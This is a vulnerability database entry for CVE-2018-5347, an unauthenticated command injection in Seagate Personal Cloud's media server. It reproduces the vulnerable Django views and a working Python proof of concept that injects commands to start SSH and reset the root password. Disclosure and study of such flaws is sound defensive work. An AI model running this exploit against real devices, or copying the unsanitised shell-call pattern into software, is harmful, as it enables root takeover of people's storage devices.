ID

VAR-201801-1503

CVE

CVE-2018-5347

TITLE

Seagate Personal Cloud Seagate Media Server Command Injection Vulnerability

DESCRIPTION

Seagate Media Server in Seagate Personal Cloud has unauthenticated command injection in the uploadTelemetry and getLogs functions in views.py because .psp URLs are handled by the fastcgi.server component and shell metacharacters are mishandled. SeagatePersonalCloud is a personal cloud storage device from Seagate, USA. SeagateMediaServer is one of the media servers. An attacker could exploit this vulnerability to execute arbitrary commands with root privileges. Seagate Personal Cloud Home Media Storage is athe easiest way to store, organize, stream and share all your music, movies, photos, and important documents.a ## Credit An independent security researcher, Yorick Koster, has reported this vulnerability to Beyond Securityas SecuriTeam Secure Disclosure program ## Vendor response Seagate was informed of the vulnerability on October 16, but while acknowledging the receipt of the vulnerability information, refused to respond to the technical claims, to give a fix timeline or coordinate an advisory ## Vulnerabilities details Seagate Media Server uses Django web framework and is mapped to the .psp extension. Any URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol. /etc/lighttpd/conf.d/django-host.conf: ``` fastcgi.server += ( ".psp"=> (( "socket" => "/var/run/manage_py-fastcgi.socket", "check-local" => "disable", "stream-post" => "enable", "allow-x-send-file" => "enable", )), ".psp/"=> (( "socket" => "/var/run/manage_py-fastcgi.socket", "check-local" => "disable", "stream-post" => "enable", "allow-x-send-file" => "enable", )) ) ``` URLs are mapped to specific views in the file /usr/lib/django_host/seagate_media_server/urls.py. Two views were found to be affected by unauthenticated command injection. The affected views are: - uploadTelemetry - getLogs These views takes user input from GET parameters and pass these unvalidated/unsanitized to methods of the commands Python module. /usr/lib/django_host/seagate_media_server/views.py: ``` @csrf_exempt def uploadTelemetry(request): ts = request.GET.get('TimeStamp','') if (checkDBSQLite()) : response = '{"stat":"failed","code":"80","message":"The Database has not been initialized or mounted yet!"}' else : if ts == "": response = '{"stat":"failed","code":"380","message":"TimeStamp parameter missing"}' return HttpResponse(response); cmd = "/usr/local/bin/log_telemetry "+str(ts) commands.getoutput(cmd) return HttpResponse('{"stat":"ok"}') ``` /usr/lib/django_host/seagate_media_server/views.py: ``` @csrf_exempt def getLogs (request): try: cmd_base='/usr/bin/log-extract-manager.sh' uID = request.GET.get ( 'arch_id', None ) time_stamp = request.GET.get ( 'time_stamp', '' ) if uID: (status, output) = commands.getstatusoutput(cmd_base + ' status ' + uID); if ('In progress' in output) and (uID in output) : return HttpResponse ('{"stat":"ok", "data": {"status":"In Progress"}}') elif (status == 0) : return HttpResponse ('{"stat":"ok", "data": {"url":"%s", "fileSize":"%d"}}' % ( urllib.quote(output.encode('utf-8')), os.path.getsize(output) )) else : return HttpResponse ('{"stat":"failed", "code":"853","message":"Id not recognized."}' ) else: (status, output) = commands.getstatusoutput(cmd_base + ' start ' + time_stamp); if (status == 0) : return HttpResponse ('{"stat":"ok", "data": {"archiveID":"%s"}}' % (output)) return HttpResponse ('{"stat":"failed", "code":"852","message":"Zip file not created."}' ) except : return HttpResponse ('{"stat":"failed", "code":"852","message":"Zip file not created."}' ) ``` Note that both views contain the csrf_exempt decorator, which disables the default Cross-Site Request Forgery protection of Django. As such, these issues can be exploited via Cross-Site Request Forgery. ### Proof of Concept The following proof of concept will try to enable the SSH service, and change the root password. When successful it will be possible to log into the device over SSH with the new password. ``` #!/usr/bin/env python import os import urllib scheme = 'http' host = 'personalcloud.local' port = '80' path = 'uploadTelemetry.psp' querystr = 'TimeStamp=%3b' #path = 'getLogs.psp' #querystr = 'time_stamp=%3b' password = 'Welcome01' cmds = ['ngc --start sshd 2>&1', 'echo -e "%(s)s\n%(s)s"|passwd 2>&1' % {'s' : password}] for cmd in cmds: print 'Running command', repr(cmd) cmd = urllib.quote_plus(cmd) r = urllib.urlopen('%s://%s:%s/%s?%s%s' % (scheme, host, port, path, querystr, cmd)) print r.read() print 'Log in with', password os.system('ssh -p 2222 root@%s' % host) ```

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

operating system commend injection

CONFIGURATIONS

EXPLOIT AVAILABILITY

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Yorick Koster

SOURCES

LAST UPDATE DATE

2024-11-23T22:52:13.364000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE